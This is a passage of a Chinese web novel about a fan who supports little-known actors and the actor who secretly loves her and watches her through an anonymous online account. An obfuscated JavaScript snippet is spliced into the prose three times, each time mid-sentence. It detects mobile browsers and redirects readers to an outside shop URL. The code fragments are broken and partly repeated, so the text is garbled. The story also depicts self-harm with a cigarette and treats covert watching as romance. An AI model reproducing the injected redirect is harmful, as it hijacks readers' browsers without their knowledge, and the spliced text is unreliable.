祝斯年闭着眼,扮演一具死尸,像此前的几天一样。 舌根下压破的血包渗出甜腥黏腻的液体,这种廉价糖浆和色素的混合物,齁得人胃里翻江倒海。 用力吞咽着唾沫,他感觉自己似乎也只是一件被用旧的道具,扔在哪里都无关紧要。 像是一出密谋好的报复。 惩罚他“不服管束”“不自量力”以及……不接受公司高层的“特殊关照”。 祝斯年是被“骗”入行的。 他并非科班出身,大学时期因长得好看被星探发掘,公司董事三顾茅庐亲自挖人,场面话说得真诚恳切、令人动容,涉世未深的少年信了。 一脚踏进圈子的那一刻,风云突变,好似换了人间。 压榨与折辱,霸凌与欺压,让原本意气风发的少年变得日渐阴沉孤僻。 但他骨头实在太硬,无论怎么胁迫也不肯放低底线,公司高层没法令他同流合污,只能让他自生自灭。 为了尽快付清天价违约费后退圈,祝斯年什么苦都能吃。 “咔!这条过了!尸体群演散开,下一组准备!” 喧嚣声重新灌入耳朵。 祝斯年撑着地坐起来,动作麻木,拍走身上的碎砾。 视线里晃过各色忙碌的身影,没人多看他一眼。 “喂!这个给你!” 一道清亮又带点蛮横的声音劈开嘈杂。 祝斯年还没反应过来,一瓶冰镇矿泉水就带着沁人的凉意,不由分说地塞进手里。 他抬头,撞进一双异常明亮的眼睛。 是个很年轻漂亮的女孩子,穿着时髦的T恤短裤,脖子上挂着相机,一看就不是剧组人员,更像是……粉丝? 事实证明,他猜得没错。 她想找的人是魏霁。 “算了,看来他没这个好命,”女孩嘟囔一声,将手中包装精致的礼盒径直递出,“消暑大礼包,送给你。” “谢…谢谢?” 祝斯年有点懵,嗓子因久未开口而发哑。 “不用谢。” 女孩笑得格外灿烂,嘴角扬起狡黠的弧度,像只偷腥成功的小猫,“我刚才看见了,你死得特别有层次感,眼神戏绝了!比那个木头脸男主强多了!” 她毫不客气地指向不远处被粉丝簇拥着的男主角。 他愕然,从未听过这样的“夸奖”。 女孩却凑近了些,压低声音:“我看人很准的,你将来肯定能红!到时候我就是你的贵人啦!” 说完,她陡然想起什么,有些局促地拽回他手中的礼盒,低头从中掏出一张信封。 “啊不过……这个我先拿走了哈。” 像飓风一样,来得突然走得仓促。 女孩没说几句,抱着相机匆匆离开,洒脱得让人无所适从。 拐角处,那封信也被她随手扔进垃圾桶。 卡在铁皮缝里,摇摇欲坠。 神使鬼差的,祝斯年做了一个连自己都难以置信的举动——他捡起了那封信。 那封不是给他的、被人扔掉的信。 * 祝斯年倏地起身。 压抑的情绪一时难以疏解,他偏头,虚握成拳挡在嘴边,低低咳嗽几声。 “斯年哥你怎么了?身体不舒服吗?”时泽面露担忧。 祝斯年最近也在影视城拍戏,听说他已经熬了几个大夜场戏。 长相优越、气质出众似乎只是他最微不足道的优点,有天赋还这么拼命,没有领导不喜欢和这样的员工共事。 难怪公司会冒着极大风险将他从臭名昭著的小作坊“赎身”,也难怪他加入巨象娱乐后,公司的资源优先向他倾斜。 接过助理送来的温白开,时泽递到祝斯年手边。 却被对方用手背隔开,“没事,只是这里有些闷。” 祝斯年侧对时泽,一半身子隐在阴影中,叫人分不清他眼底的情绪。 “我听说有人拍到了你和你那位朋友,举止……亲昵的照片。” 不知道是否是错觉,时泽莫名觉得“亲昵”这个词,似乎是从对方齿缝中挤压出来的,带着意味不明的深意。 但祝斯年的表情分明又是淡淡的,话里也只有对同公司晚辈的关切和叮嘱。 “这次我替你解决,希望不会再有下次。” “你应该知道自己正在拍的这部剧的特殊性,所以……” 他偏头,眸色晦暗,“尽量和异性保持距离,更不要传出绯闻,影响剧播。” 耽改剧,再怎么改也离不开“耽”。 双男主之间的化学反应很重要,在剧播结束之前,任意一方染上桃色新闻都可能是对腐女群体的背刺。 言下之意,要卖cp也应和另一个男主卖,而不是与剧毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977883|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相干的素人女孩卖。 闻言,时泽哀嚎一声,“我……” 左右巡视一圈没有外人后,他小声嘟囔道:“我纯直男啊,剧里演那些就已经够刺挠了,怎么连剧外也要卖腐……” “无法接受,那你当初为什么要接这部剧。” 祝斯年一语中的。 时泽唇瓣嗫嚅几下,如鲠在喉。 没有多余的选择是一回事儿。 想火。想一剧飞升。想出人头地。又是另一回事儿。 如此看来,自己的确有些“又当又立”了。 仿佛下定某种决心,时泽狠狠点头,“明白了,谢谢哥。” - 祝斯年走后,助理小宛才幽幽上前。 “你不会以后都不搭理岁岁姐了吧……” “怎么可能!”时泽瞪大眼,隐隐有些窃幸,“还好今天顺利加上了岁岁的微信。” “认识这么久才加联系方式,真服了你们。” 小宛的吐槽不是没有道理。 她在做时泽的助理之后,才知道“岁岁”这号人,那时他俩结识已有两年之久。 小宛以为岁岁是忠实老粉,但时泽总说她是“对自己有知遇之恩的朋友”,可哪有人连自己朋友全名都不知道、见面全靠单方面的“偶遇”。 当然,掌握主动权的是岁岁。 她说什么时候来见时泽,就什么时候出现,否则谁也别想提前联系到她。 “唔……”时泽难为情地说,“因为岁岁之前说爱豆私联粉丝是要被砍头的。” 虽然他从未将她视作自己的粉丝。 而且当时她已经结婚生子,的确应该保持异性间的正当距离。 但现在不一样了…… 按灭与岁岁的聊天界面,时泽将手机塞回口袋,耳根却泛起不正常的红。 小宛对此毫无察觉。 一边埋头替他整理衣物,一边咋舌:“祝老师真不愧业内有名的德艺双馨啊,自己敬业就算了,对同事也这么尽心尽责。” “听说前天,他们剧组有个十八线男n号,收到粉丝的手写信后,转头就扔进了垃圾桶,还跟其他人骂人家穷疯了在信里放收款码……” 时泽偏头。 最近很流行在手写信里贴收款码吗? 不过他没有问出口,继续听小宛说。 “这件事被祝老师知道后,在片场当场发了火,教训那个小演员,无论如何都不该这么对待粉丝的一片心意。” 小宛轻咳一声,昂首挺胸,压粗声线模仿祝斯年的语气:“不珍惜自己羽毛的艺人,不会走得长远。” 明星每天要面对形形色色的粉丝群体,会有倦怠感很正常,但在片场高谈阔论,实在太蠢,也不怕落人口实。 更何况,十八线能有粉丝还不赶紧供起来,活该糊穿地心。 对于祝斯年的话,时泽表示双手双脚赞同,但他对小宛的描述却存疑。 斯年哥会为了旁不相干的小事发火?太假了。 一定是小道消息添油加醋、夸大事态。 仿佛听见他的心声,小宛凑上前,神秘兮兮地说:“话说祝老师平时看起来挺温和沉稳,没想到发起脾气来那么吓人,虽然也一样面无表情吧,但就是感觉……” 她双手抱住胳膊打了个寒颤,“泽哥,你之前见过他这样吗?” 时泽摇头,“他情绪一向很淡,好像对什么事都漠不关心的样子。” “但他绝对是大好人!”他补充道。 “这点毋庸置疑啦!” 小宛笑嘻嘻地将收拾好的背包挎到身前,与时泽前后脚走出片场。 两人窸窸窣窣的交谈声越来越弱,直至再也听不见。 “否则他也不会不嫌脏,直接捡起了那封信,还说会替那人保管呢……” 5. 熔岩橙 一号男嘉宾再次发来“金钱攻击”。 似乎担心她吃不饱穿不暖似的,又接连转了几笔数额不小的汇款。 每一笔都贴心地附言:自愿赠与。 他没有用微信转账,而是直接通过那张收款码。 因为这样无法被退回。 许岁澄第一次体验到“强制爱”的感觉。 像一颗被火山熔岩炙烤的橙子。 是身如焰,表皮焦皱,内里却不由自主渗出蜜液。 很难形容她此时的表情。 地铁老爷爷看手机.jpg 但老爷爷死嘴狂翘,笑得很娇俏。 毕竟,再冷漠的女人,看到巨款都会忍不住笑出声。 正常人或许会被【现在,我看到你了】这句话吓到疯狂掉san。 仿佛某个偷窥狂一直蹲守在阴暗角落,用那双毒蛇一般阴冷黏滑的眸子,观察着自己的一举一动。 对方的目光缠绕、攀附在周身,不触碰,却无处不在。 这种潮湿的注视,无声无息,如同暗室墙壁上渗出的水珠,缓慢凝聚,最终承受不住自身的重量,悄然滑落。 始料未及,“滴答”一声。 砸到了后脖颈。 只可惜,许岁澄一向是“明知山有虎,偏向虎山行”的莽人性子。 越是应激,越要应战。 她气势汹汹在片场转了一圈,试图直接揪出那人,结果连嫌疑人的影子都没瞧见。 这种行为在恐怖片里估计活不过一集。 但比死亡先到的,是阴湿男鬼的钞票。 “强制爱”后,一号男嘉宾还极有绅士风度地做出解释。 【抱歉,刚才剧组临时有事。】 【没能去见你。】 【但我想你。】 许岁澄内心缓缓冒出一个问号。 几秒过后,对方才慢悠悠地接了上文: 【但我想你最近可能遇到一些困难,所以又擅自转了点钱。】 【希望这个举动没有对你造成困扰。】 这个奇葩断句,就已经足够造成困扰。 不过,因为钱给的够多,又很好地弥补了这一点。 既然一号男嘉宾如此大方,想来应该不会为自己“认错”他而斤斤计较。 于是,许岁澄不再装聋作哑,直接滑跪:【对不起我之前骗了你,其实我这边没有你的备注,压根不知道你是谁】 【前几天论坛那条帖子你也看到了,收款码我给了好几个人,所以现在可能是把你们搞混了……】 【嗯,猜到了。】 【没关系,我不介意。】 大好人啊! 又有礼貌又有钱还胸怀宽广,按照她追糊咖的尿性,对方肯定也长着一副符合自己审美的俊脸。 什么阴湿男鬼,明明是送财天使! 许岁澄泪眼婆娑,乘胜追击:【那你能直接告诉我,你是谁吗?】 【改天登门道谢啊】 一直秒回的一号男嘉宾,罕见地沉默了。 几乎过了半个多小时。 他才说:【岁岁那么聪明,怎么会猜不出我是谁呢?】 【我会等岁岁自己找到我。^^】 ……话说早了。 一定是故意的吧!以此惩罚她认错了人? 去他的胸怀宽广,分明就是个小心眼! - 犹豫再三,许岁澄最终没有像此前几次一样发帖求助。 尽管很多网友都在私信她蹲后续。 但她不蠢,这种得了便宜还卖乖的事情,发一两次是猎奇有趣,发多了该被网暴开盒了。 不过,听洛琳说,最近论坛扎堆出现了许多“往明星手写信里塞收款码”的帖子。 按照她的原话:“估计都在效仿你这个大聪明。” 许岁澄不以为耻,反以为荣。 甚至还在论坛潜水检阅起自己带出来的兵。 嗯……战绩感人。 基本石沉大海,即使有人真收到了明星转账,也只是“66”“88”“99”等小额的吉利数字。 像许岁澄这种广撒网,还能捕捞到多条大鱼的,简直祖坟冒青烟。 作为长期活跃网络、深谙社区规则的“老坛子”,甘洛琳极具舆论敏感度。 担心这件事引来越来越多人效仿,万一产生经济纠纷,有心之人借题发挥。 论坛被炸了倒是小事,哪里重建家园不是建呢?就怕到时会引火到许岁澄身上。 她可不想见到这个天不怕地不怕的死丫头,哪天突然跑到自己这里来哭哭啼啼、丑了吧唧。 甘洛琳当机立断,隐藏了许岁澄发的、已经在首页飘红几天的热帖,又随即置顶几个玩梗收款码的帖子以混淆视听。 至此,真真假假已不重要,娱乐至上。 许岁澄的私信清净了。 可她的心乱得很。 毕竟问题并没有解决。 她本打算从论坛找点灵感,逛了大半天,发现大家都只是在玩梗。 自作孽,不可活啊。 谁说甜蜜的烦恼不是烦恼呢? 深深叹了口气,许岁澄正要退出论坛。 「岁岁年年」上线了。 【晚上好,救世主。近况如何?知道对方是谁了吗。】 来得早不如来得巧。 上次岁岁年年的策略虽然失败了,但大致思路不错。 秉着死马当活马医的心态,许岁澄决定再次向这位网络军师发起求助。 【惨败!我虽然网上没猜对人,但线下也认错了人!再这样下去,严重怀疑对方要怀恨在心了……】 【年年大师,还有别的妙招吗?救救孩子哇!】 对方输入条频繁闪动。 就在许岁澄惊喜地以为军师要发力了。 结果对方只弹出四个字—— 【年年…】 【大师?】 就这几个字外加俩标点符号,有必要字斟句酌打那么久吗! 许岁澄无能狂怒,键盘敲得噼里啪啦,打出来的字却怂得不像话。 【啊不好意思,你是雷“大师”这个称呼吗?】 【感谢您的支持,请扣数字选择称呼: 1、老大 2、甲方 3、老师 4、大小姐 5、宝宝 6、少爷 7、老婆 8、老公 9、同志 10、XX女士 11、XX先生 12、[自定义] 不做选择默认随机,支持中途随时修改称呼,爱你~】 反手把应付单主的快捷消息转发出去,许岁澄得意洋洋:这下没处找茬了吧,小样儿,还治不了你们了。 没想到,对方沉默的时间更久了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977884|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半晌,回道:【你经历了什么?】 这句话对于一个饱经磋磨的乙方来说,杀伤力堪称“久旱逢甘霖,他乡遇故知”。 许岁澄摘下冷酷墨镜,露出一张泪眼婆娑的小苦瓜脸。 也许是岁岁年年太会引导,又或许是她的语气太过包容。 在对方的循循善诱下,从自由接稿遇到的奇葩单主,到游戏公司对接的变态甲方,再到大学时经受的魔鬼训练…… 一股脑儿倾倒完苦水,许岁澄才恍然惊觉,自己这些年过得并不轻松。 是她总假装游刃有余,事情才得以迎刃而解。 【你辛苦了。】岁岁年年说。 越是有人体恤,许岁澄反而越受之有愧。 她蜷着指尖,缓缓打字。 【其实也还好啦,毕竟画画是我的兴趣爱好。况且,与奇葩相比,我遇到的好人要多得多】 【有没有想过,是因为你本身就是很好的人。】 嘁…… 说得好像认识我、很了解我一样。 许岁澄努力压下翘起的嘴角,莫名对这套很受用。 很奇怪,这种万金油式的夸赞,在现实生活中听到大多不屑一顾,甚至怀疑对方另有所图。 可从半生不熟的网友口中说出来,竟会产生一种“她懂我”的错觉。 惯常说些不值钱的漂亮话哄人开心的小狐狸,难得也中了同样的道。 得知她是自由画师,岁岁年年提出想看看她的画作。 带着一丝小孩子领新朋友来家里做客时的骄傲和炫耀感,许岁澄一时头脑发热,将自己的绘画账号「一颗橙子」推给了对方。 【这张图是?】 岁岁年年截图了一张最新发出的祝斯年梦女图展示稿。 【明星私人画稿哦】 此时的许岁澄还并未意识到事情的严重性。 过了许久,随着时间的推移,她的心情开始变得忐忑。 忍不住问:【怎么?你很雷祝斯年吗?】 【没有。】 又过了几分钟,岁岁年年连着弹出两条消息—— 【确实挺私人的。】 【我还以为…女主是你。】 那一刻,许岁澄如遭雷击。 理智回笼后,冲动爆号的隐忧随之而来。 【怎么可能!免责申明:画中一切设定都与本人无关!不代表本人个人立场与喜好!】 岁岁年年:【哦,看样子你并不喜欢祝斯年。】 “哦”?她居然说“哦”!好冷漠好疏离好不满的社交用词。 难道又猜错了?其实岁岁年年是祝斯年的毒唯?看不惯其他人意淫自己的偶像? 被乙方模棱两可的态度折磨的那种煎熬感又来了。 许岁澄搔头抓耳,最后把自己摘得干干净净,【我喜不喜欢不重要,重要的是客户喜不喜欢。我就是个俗人,钱给够、尾款结清就行啦】 末了,还亡羊补牢般问一句:【对了年年,你是我遇见的又一个好人,对吗?】 对方没有直接回答,而是反问:【你觉得呢?】 【我觉得你是!】 【年年宝宝,姐把你挂心上,你以后千万别把姐挂网上好吗好的】 这次岁岁年年没有丝毫迟疑,甚至有种恭候多时的急迫。 【好。】 【我会一直把你挂在心上。】 【救世主宝宝。】 6. 潮汐线 言归正传。 许岁澄想让岁岁年年帮忙出主意,根据手上现有的线索,快速锁定“嫌疑人”。 不得不说,一号男嘉宾已经成功燃起她的斗志。 砸了那么多钱,只为和她玩“躲猫猫”的游戏吗?有点意思。 这是可以心安理得占有这大笔钱的理由—— 找出幕后人,游戏获胜,夺得奖金。 将获得的情报同步分享给岁岁年年,这一超强外挂十分给力,很快抓住重点。 【他朋友圈那张图片,一定对他具有重要意义。】 在对方的引导下,许岁澄开始摒弃那些表面的线索,将注意力放在人物图具体形象上。 Q版图看不出太多细节,只能从背景和人物穿着分析。 背景很明显是横店古建筑群,画中主角一副侍卫扮相,帽子和衣襟上一片暗色,似乎被水浸透。 最重要的是,他抱着胳膊,眼下蓄着夸张的泪水,人物旁边还加画了两条象征“冷到发抖”的波浪号。 再结合“20231211 zsn”这条落款。 【你知道他是谁了,对吗?】 消息弹出来的那一刻,一张熟悉的脸浮现眼前。 * 认识祝斯年只是一次巧合。 老实说,许岁澄已经不记得他们初遇的具体场景。 只记得那时的他,总在各种尸体、侍卫等背景板中浮动。 演员没出名之前,镜头中的脸都是模糊的。 但他帅得特别突出。 那么多群演,许岁澄一眼就瞧中了他。 然后…… 将他锁定为自己新一期糊咖养成计划的主角。 像大明星模拟器,要想游戏通关,前期总要爆点金币、使用一些道具,增加与角色的亲密度,同时还要帮助对方达成一定目标,解锁或升级彼此的关系。 许岁澄贪财,但其实并不缺钱。 她家境不错,父母在金钱方面未曾苛刻过,再加上自己能赚钱,读大学时简直花钱如流水。 也就入社会后扬言要靠自己活出精彩,不接受父母接济,这才过得稍微勤俭持家了一些。 或许正是这种阔绰,让她在那些心术不正的糊咖心中,树立了一个冤大头的形象。 并不是所有糊咖都心存感激、知恩图报,许岁澄也遇到过许多十八线明里暗里利用她获取更多资源,甚至把她当做包小明星的富婆,让她买这买那。 拜托,她只是爱玩养成,又不是真养成。 他们难道没有父母吗? 再说了,男人有句名言说得好。 “我可以主动给你买,但你不能开口要。太物质了我不喜欢。” 旺别人就是克自己。物质的男人能要吗?聪明女人养败家男人,无疑是克自己财运。 许岁澄一向秉持花小钱办大事的原则,另有所图的糊咖露头就秒,于是养成对象自然换了一波又一波。 当然,占大多数的还是好人。 许多有上进心的糊咖经过几年努力,最终爬到了三四线,即使实在时运不济放弃演艺道路,也依旧念着那段旧情,和许岁澄保持着密切的联系。 看吧,的确是糊咖救世主。 她能让那些永远在配角里打转的无名小卒,成为她游戏里的主角。 就算玩家退游,那段被人全身心“偏爱”“支持”的记忆依旧会被系统永久存档。 许岁澄最初以为,祝斯年也不过是即将被自己“拯救”的一员。 那时他仍是无关紧要的小配角,却因形象气质过于惹眼,被同剧组超一线男主陈时的粉丝恶意诋毁,她跳出来舌战群儒、以一敌十。 没想到这件事传入陈时耳中,对方感知到了威胁,在片场不断暗中使小手段霸凌、打压祝斯年。 大冬天拍下水戏,让他反反复复在零下几十度的水中浸泡,直到冻到差点失温才善罢甘休。 而那张Q版图的灵感便源于此。 但事实上,祝斯年并没有“泪眼汪汪”,也没有抱着胳膊表现得“瑟瑟发抖”。 除了嘴唇冻得发白,指节攥到僵直之外,他没有露出丝毫的难堪或屈辱。 牙关紧锁、一言不发,仿佛只是自身遭遇的旁观者。 很快,许岁澄发现这人很不一样。 他不会为她的嘘寒问暖而受宠若惊,也不会因她的仗义执言而感恩戴德,更不会为她的忽冷忽热而争风吃醋。 是的,有些糊咖为了媚粉会假装以上情形,以此套牢来之不易的关注。 祝斯年整个人都淡淡的,好像任何人的去与留,都不足以激起内心的涟漪。 这种淡然有时会让人无所适从。 尤其是当他用那双波澜不惊的眼眸,沉沉地望过来时,许岁澄竟会产生极强的不自在感。 仿佛自己劣迹的表演早就被对方看穿,他不说,只是想欣赏一下她还能演多久。 这种人太有主体性。 不适合搞养成。 许岁澄打算及时止损,但好巧不巧,转头又看上了他同剧组的另一个小侍卫群演。 哦,对了,此时的祝斯年已经凭借过硬的演技、出色的外型荣升为新剧组的反派男三。 天赋异禀、内心强大,不需要她,他也必然能在这个圈子里闯出一片天。 许岁澄心想,还是腾出精力,多关心关心真正的小可怜糊咖吧。 刚好那年寒假回外婆老家,离影视城很近。 闲得没事做的许岁澄决定“以身入局”,当把群演消遣假期,顺便近距离考察一下新晋“养成对象”。 作为被大舅强塞进剧组的关系户,她很有自知之明,秉着不添乱不捣蛋原则,选了一个台词少但又能过足戏瘾的角色。 见风使舵、狗仗人势的恶毒女配……的小跟班婢女。 婢女和侍卫,天生适合拉郎配。 渐渐的,她开始疏远祝斯年,把注意力放在新的目标对象身上。 许岁澄做事坦荡,爬墙也爬得理所当然。 撞见她给小侍卫送盒饭,祝斯年也只是掀起眼皮,深深看了一眼,没有任何多余的表示。 也是,他本来就没将她放在心上,又怎么会在意这种小事。 不过偶尔,许岁澄感觉有一双眼睛盯着自己,可当她回头,那道灼灼的目光便瞬间消散了。 直到有一天,剧组突发意外。 金属架不堪重负倒塌,正朝她。 人生就这样,干点好事没回报,干点坏事报应全来了。 那么大的片场,那么多群演,不砸别人,不砸瓶瓶罐罐,也不砸花花草草,偏偏只砸她一个人。 原来真像狗血电视剧里演的那样,当危险来临时,人是动不了的。 脑袋空白,浑身冰凉,双腿仿佛注了铅、生了根,融进地里怎么也拔不出来。 所有的尖叫和呐喊似乎都被蒙上一层隔音罩,朦朦胧胧听不清。 那些惊慌失措的挥手、连连后退的瑟缩、事不关己的漠然……全都被慢动作拆解,走马观花般一窝蜂侵入视网膜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977885|193534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这下不死也残了。许岁澄心想。 行吧。到时候搞个会闪彩灯的炫酷钢腿假肢,把磁吸小卡冰箱贴啪得一下全甩上去,成为行走的痛包……呃,痛人? 然后再以此道德绑架自担们在假肢上签名,快哉快哉。 然而,疼痛并未如期而至。 比死亡先到来的,是异常温暖的怀抱。 被祝斯年紧抱着摔倒在地上时,掉线的感官一瞬间回归正常。 四面八方的声音,潮水般涌来。 好吵…… 许岁澄一时分不清是人来人往的喊叫吵,还是自己肾上腺素飙升的呼吸声吵。 卸了浑身的力,她靠在唯一的热源上,才发现祝斯年双手抖得不像话。 仿佛劫后余生的是他。 “没事了……” “没事了,岁岁。” 她听到了,最吵的,是他的心。 * 许岁澄以为自己快忘了。 然而一切场景与细节历历在目。 祝斯年那句颤抖的呢喃犹在耳畔。 揉了揉发麻的耳根,她屏息凝神,打字。 【祝斯年?不可能吧】 【为什么不可能?】 岁岁年年是个出色的侦查员,她分析出很多许岁澄没有注意到的细枝末节。 比如,从时间来看,2023年正是祝斯年“配角掀桌”走红并签约新公司的关键一年。 比如,作为许岁澄养成的糊咖一员,他的背景图一直是那张“对他有着重要意义”的Q版人物画,而她刚好是画师。 再比如,画上那串字符,从数字形状和连笔习惯来看,分明与她过往画作落款高度相似…… 【不可能是他,还是你不希望是他。】 岁岁年年的拷问似乎带着一股怨气。 许岁澄莫名其妙地“嘶”了一声。 【因为我根本没给他送过信啊】 对面沉默良久。 像被戳破的气球,干瘪瘪地问:【那你怎么偏偏不给他?】 【他在你心中…】 【很穷吗?】 不是穷不穷的问题。 祝斯年现在混这么好,公司对他的职业规划也清晰,照目前势头发展下去,成为顶流甚至视帝都指日可待,再怎么被资本压榨也不可能比普通人穷。 只是…… 许岁澄回头想想,自己递信时好像从来就没考虑过祝斯年。 【不记得给哪些人送过信,却唯独记得没给他送过…为什么?】 【他是特殊的,对吗?】 岁岁年年语出惊人。 这种假设,许岁澄未曾细想过。 特殊的吗?或许吧。 毕竟算下来,自己的命都是他救的。 后来听其他群演提起,那场事故发生时,祝斯年离她很远,远到根本不可能在那么短时间内赶过来。 可他偏偏来了,连命都不要地扑到她身上。 挚友、爱人、血亲,都难以达到这种地步。 许岁澄不明白,祝斯年为什么要这么做。 明明他平常对她的态度并不算热络。 但她能感知到对方拂在头顶的紊乱的呼吸、青筋暴起掐得泛白的指节以及砰砰跳动的心脏。 每每想起这个场景,许岁澄就莫名感到一阵羞愧。 她抿了抿唇,轻敲键盘,用冷冰冰的、近乎残忍的文字说—— 【好吧,我承认】 【我讨厌祝斯年】 7. 霓虹锈 戏散了,人造霓虹一盏接一盏熄灭,横店的夜露出它原本荒凉的骨架。 暴雨来得始料未及。 祝斯年回到公寓时,全身没有一处得以幸免。 他却浑然未觉,像一具被抽空了魂灵的躯体。 门在身后合上,发出沉闷的响,隔绝外界最后一丝微光。 屋内没有开灯。 黑暗稠得化不开。 很快,整间屋子似乎都被他身上那股潮气浸染,闷湿的低气压无声缠绕上来。 沙发不堪重负般下陷。 咔嚓一声,火苗蹿起。 短暂地照亮了那张毫无血色的脸。 随后火光熄灭,只剩下烟头那一点猩红,在黑暗里急促地明灭。 烟呛入肺腑,灼烧着,伴随一丝自虐般的刺痛感。 【好吧,我承认】 【我讨厌祝斯年】 …… 【我讨厌祝斯年】 【我讨厌祝斯年】 【我讨厌祝斯年】 一遍一遍,反反复复。 这六个字在口腔中翻滚,舌尖抵着上颚,连无声的文字都带上了女孩惯常的声线。 但祝斯年实在想象不出,她是用怎样的语气,说出的这句话。 是轻快的,郁闷的,戏谑的,嫌弃的,还是深恶痛绝的。 耳朵嗡嗡作响,仿佛无数只寒蝉在嘶鸣。 每一个字都化作淬了毒的针,扎进他最脆弱的地方。 原来是这样。 难怪她给那么多人递了信,却唯独漏掉他。 难怪每次来影视城,即使自己故意找机会在她眼前晃荡,她也能够精准地绕过他。 难怪好几次旁敲侧击问“为什么很少来探班”,她总会找各种借口搪塞过去。 难怪…… 难怪从去年最后一场戏后,他们之间的距离便越拉越远,相见的几率也屈指可数。 原来,是因为讨厌他啊。 一股冰冷的、带着腥气的酸楚猛地冲上喉咙,堵得呼吸艰难。 首次尝试失败。 烟雾呛进肺管,引起一阵压抑的咳嗽,咳得祝斯年眼角都生理性地渗出湿意。 她不记得那张画,也不承认画里的人是他。 因为从始至终,都是假的。 是他不肯相信,还妄图通过这种方式确认自己在她心中的特殊性。 结果显而易见。 自取其辱。 喉咙堵得发痛。 祝斯年抬起手,将燃着的烟头摁向腕骨。 嗤—— 极轻微的一声,皮肉灼烧的焦味混着烟草气息弥漫开来。 刺痛感炸开,却奇异地将心口那股无处宣泄的绞痛压下去半分。 白烟缭绕。 祝斯年平静地看着。 看吧,至少这痛,是真实属于他的。 不像那道虚情假意的温暖,镜花水月,一触即碎。 可是…… 他不是早就知道了吗? * 某个女孩常说自己是“天降福星”。 或许她真的是福星。 从她出现的那一天起,好运也慷慨地敲响了他紧闭的房门。 一直在各种尸体等背景板群戏中打转的祝斯年,竟然被新剧组的导演发现了。 “诶你,对,就那个高个子群演,走近点。” 开拍近一个月,导演才发觉组里有个气质如此出众的龙套,粗制滥造的服饰、蓬头垢面的妆发,也无法掩埋他骨子里透出的那种傲气。 副导提醒:这是陈董手下的艺人,“不懂事”,特别交代要让他在底层“历练”一番。 “我不管他们有什么过节,适合我戏的就得用上!” 至此,祝斯年从虚化的背景板荣升为男主的贴身侍卫,偶尔还会分到几句台词。 他本不觉得这有什么值得欢喜,可女孩的雀跃实在太过耀眼,竟让祝斯年感到恍惚:或许,自己并不是那么糟糕。 从那以后,女孩来得更勤了。 有时塞给他一盒切好的新鲜水果,有时是暖贴,有时只是一根碱水棒。 “补充能量!” 她总是理直气壮,眼睛亮晶晶地看着他咽下去,仿佛在投喂自己捡到的小流浪狗。 她好像渐渐忘了自己正在追的、势头大好的魏霁,“爬墙”到了他这间家徒四壁的小屋。 祝斯年还没来得及庆幸,就发现了她的“秘密”。 她叫“岁岁”,是影视城的常客,也是小有名气的站姐,但她口味独特,专挖各种“糊咖”。 岁岁的微博小号关注了几十个像他一样寂寂无名的小演员,她给他们做数据,拍图,在各个角落为他们摇旗呐喊。 祝斯年知道她不止对他一个人这样“好”。 他见过岁岁抱着被临时换角的万年女配,为对方直掉眼泪,痛骂导演瞎了眼狗仗人势;她还同样热情地给另一个跑龙套的男生送奶茶,语气一样真诚地夸对方“未来可期……” 自己只是她“投资”“养成”的众多潜力股之一,甚至不是最被看好的那只。 不该再沉溺于这种一戳就破的虚幻关系中。 不该的…… 可当温暖真正照拂在自己身上时,没有人能做到无动于衷。 冲突发生在一场夜戏外。 祝斯年刚卸完妆,疲惫地走出来,看到岁岁正和一个女孩激烈争吵。 那个女孩穿着同剧组顶流男主角陈时的应援服,语气刻薄。 “哟,你这是又淘到新破烂了?”女孩轻蔑地翻了个白眼,“长得也就那样吧,演技还烂,背景板就是背景板,还想抢我们小柿子的戏,一辈子的糊咖命!” 岁岁像只被踩了尾巴的猫,瞬间炸毛,声音拔高,战斗力惊人:“是咯,我要是收破烂的,绝对第一个收了你家烂柿子!那张玻尿酸脸,还真是吹、弹、可、破啊!” “是谁被全网群嘲古装丑男,我不说。还有演技,算了,没有的东西就不要去比较啦……” 她为他吵得面红耳赤,据理力争,像是在维护一件属于自己的、不容他人诋毁的所有物。 一墙之隔,看着岁岁为了自己和别人争执的背影,祝斯年心里涌起一股极其复杂的酸胀。 明知道她的维护里掺杂着“养成系”的占有欲和好胜心,并非纯粹为了他这个人,可那颗死寂的心,还是不受控制地剧烈跳动起来。 成为她最拿得出手的那只“股票”吧,让小财迷做稳赚不赔的交易。 祝斯年心想,或许只有这样,他才有资格祈求她将目光放在自己身上的时限,更久一些。 * 辗转反侧,彻夜难眠。 但第二天一早,祝斯年依旧像往常一样。 晨跑、淋浴、早餐、翻看剧本……仿佛无事发生。 抵达片场后,他坐在专属休息室等待出妆。 他所在的剧组前期在影视城搭景一次性拍摄完毕,后期转场实景拍摄。 